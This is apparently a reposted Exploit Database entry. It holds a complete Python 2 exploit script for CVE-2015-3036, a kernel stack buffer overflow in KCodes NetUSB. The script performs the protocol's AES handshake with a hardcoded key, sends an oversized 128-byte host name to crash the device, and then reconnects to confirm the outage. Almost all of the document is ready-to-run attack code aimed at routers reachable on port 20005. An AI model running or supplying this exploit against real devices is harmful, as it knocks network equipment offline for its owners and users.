NetUSB – Kernel Stack Buffer Overflow

Exploit Database
105 阅读

作者： Adrián Ruiz Bermudo

日期： 2015-10-29
类别：
- dos
平台：
- hardware
来源：https://www.exploit-db.com/exploits/38566/

100

101

102

103

104

105

106

107

108

109

110

111

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Exploit Title: NetUSB Kernel Stack Buffer Overflow

# Date: 9/10/15

# Exploit Author: Adrian Ruiz Bermudo

# Vendor Homepage: http://www.kcodes.com/

# Version: Multiple: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt

# Tested on: NETGEAR DC112A

# CVE : CVE-2015-3036

import socket

import sys

import random

import string

import time

import struct

from Crypto.Cipher import AES #pip install pycrypto

DOS_BYTES = 128 #BoF

TIMEOUT = 5

RECV_SIZE = 16

PORT_DEFAULT = 20005

AESKey = "\x5c\x13\x0b\x59\xd2\x62\x42\x64\x9e\xd4\x88\x38\x2d\x5e\xae\xcc"

print "#"

print "# Exploit KCodes NetUSB | Kernel Stack Buffer Overflow | Denial of Service (DoS)"

print "# CVE-2015-3036"

print "# Found by: Stefan Viehböck (Office Vienna) | SEC Consult Vulnerability Lab | https://www.sec-consult.com"

print "# Exploit author: Adrián Ruiz Bermudo | @funsecurity | http://www.funsecurity.net"

print "# Advisory: https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt"

print "#"

print ""

if len(sys.argv) >= 2:

try:

target = sys.argv[1]

try:

port = int(sys.argv[2])

except Exception as detail:

port = PORT_DEFAULT

#Inicialización de la conexión.

init = "\x56\x05"

#Datos aleatorios para el handshake

randomData = "".join(random.choice(string.lowercase) for i in range(RECV_SIZE))

#Nombre del equipo con 128 carácteres para provocar DoS.

computerName = "".join(random.choice(string.lowercase) for i in range(DOS_BYTES))

#Longitud del nombre del equipo - "\x80\x00\x00\x00"

lengthComputerName = struct.pack("i", DOS_BYTES);

#Sync - "\x07\x00\x00\x00"

syncOK = struct.pack("i", 7);

#Finalización de la conexión.

end = "\x01"

encryption_suite = AES.new(AESKey, AES.MODE_ECB, "")

randomDataCrypt1 = encryption_suite.encrypt(randomData)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(TIMEOUT)

print "Conectando:", target,":",port

sock.connect((target, port))

print "Conectado"

print "----------------"

print "Inicializando:", init.encode("hex")

sock.send(init)

print "Random data para cifrar por el servidor:", randomData.encode("hex")

sock.send(randomData)

print "----------------"

result = sock.recv(RECV_SIZE)

print "Random data cifrados por el servidor:", result.encode("hex")

print "Random data cifrados por el cliente:", randomDataCrypt1.encode("hex")

if (randomDataCrypt1 == result):

print "Handshake OK"

randomData = sock.recv(RECV_SIZE)

print "Random data a cifrar por el cliente:", randomData.encode("hex")

randomDataCrypt2 = encryption_suite.encrypt(randomData)

print "Random data cifrados por el cliente:", randomDataCrypt2.encode("hex")

print "----------------"

sock.send(randomDataCrypt2)

print "Tamanio del nombre del host a parear:", lengthComputerName.encode("hex")

sock.send(lengthComputerName)

print "Nombre del host a parear:", computerName.encode("hex")

sock.send(computerName)

print "----------------"

print "Sync: ", syncOK.encode("hex")

sock.send(syncOK)

if (sock.recv(RECV_SIZE) == syncOK):

print "Sync ok"

sock.send(end)

try:

#Esperamos unos segundos antes de conectar

time.sleep(TIMEOUT)

#Comprobamos si el dispositivo sigue vivo...

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(TIMEOUT)

sock.connect((target, port))

print "No vulnerable"

except Exception as detail:

print "Vulnerable, exploit OK"

else:

print 'Sync error.'

except Exception as detail:

print "Error de comunicación:", detail

else:

print "Usage:", sys.argv[0], "target [port]"